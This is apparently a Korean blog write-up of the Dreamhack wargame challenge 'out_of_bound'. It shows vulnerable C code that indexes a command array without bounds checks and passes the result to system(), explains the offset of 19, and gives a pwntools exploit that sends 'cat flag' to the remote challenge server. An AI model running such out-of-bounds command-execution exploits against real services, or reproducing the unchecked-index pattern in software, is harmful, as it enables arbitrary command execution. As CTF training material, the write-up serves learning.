out_of_bound
이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
“flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
# 문제 분석
- 소스 코드
- command에 접근하는 idx에 대한 검증이 없으므로 oob 가능
- system 함수는 const char * 인수가 필요하므로 name 배열에서 0번째 인덱스부터 3번째 인덱스까지 "cat flag" 문자열을 저장하고 있는 곳의 주소를 저장한다면 해당 주소를 따라가 system("cat flag")가 출력될 것임
- 따라서 name[4] 위치부터 "cat flag" 문자열을 저장하고 그 주소를 이용할 것
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
- 입력할 idx 구하기
- command와 name 사이의 거리
- name[0]의 주소: 0x0804a0ac
- command[0]의 주소: 0x0804a060
- const char *는 포인터이므로 32bit 환경에서 4byte이므로 76/4 = 19 를 idx 값으로 사용한다면 name[0]에 접근할 수 있게 됨
# Exploit
from pwn import *
#p = process("./out_of_bound")
p = remote("host3.dreamhack.games",21841)
command = p32(0x0804a0ac+4)+b"cat flag"
p.sendlineafter("Admin name: ",command)
p.sendlineafter("What do you want?: ",str(19))
p.interactive()
# 실행결과
'War Game & CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] basic_rop_x86 (4) | 2022.09.24 |
---|---|
[Dreamhack] basic_rop_x64 (2) | 2022.09.18 |
[Dreamhack] Return Oriented Programming (0) | 2022.09.14 |
[Dreamhack] ssp_001 (0) | 2022.09.13 |
[Dreamhack] Return to Library (0) | 2022.09.07 |